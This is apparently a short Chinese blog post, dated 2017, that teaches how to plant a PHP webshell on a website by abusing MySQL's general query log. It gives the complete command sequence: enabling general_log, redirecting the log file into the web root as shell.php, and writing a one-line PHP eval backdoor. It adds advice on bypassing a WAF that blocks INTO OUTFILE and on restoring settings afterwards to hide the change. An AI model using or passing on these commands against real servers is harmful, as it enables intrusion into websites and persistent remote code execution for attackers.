利用mysql general log 写shell

这个可以在waf拦截我们使用into outfile()写shell的时候进行利用,前提是我们必须是root权限,并且知道网站的绝对路径。

先查看当前Mysql的日志位置

mysql> show variables like '%general%';


在这里我们的general_log未开启,当我们开启general_log以后,每执行一条sql都会被自动记录到这个日志文件中,我们就可以通过这种方式,把我们的shell代码也自动写进去,,运维可能平时都是拿这个来查慢查询,只会临时开启下,所以,如果想利用,就只能我们自己手动开,这就是为什么要root权限才行,因为它涉及到mysql自身参数配置。

将general_log开启

mysql>set global general_log = on;  

此时,再将原本的日志文件位置指向到目标网站的物理路径

mysql> set global general_log_file = 'C:/wamp/www/shell.php';


现在可以查看我们本地会生成一个shell.php的文件

现在可以写shell了

mysql> select '<?phpeval($_POST[123]);?>';






最后,干完活儿以后务必记得把配置恢复原状。不然,目标站如果访问量比较大,日志文件可能会瞬间暴增连shell时会巨卡。

mysql> set global general_log_file = ' c:\wamp\bin\mysql\mysql5.6.17\data\MS-20160424IGEI.log';

mysql> set global general_log = off;


参考文章:https://www.freebuf.com/column/150308.html


2017-11-21  /   

评论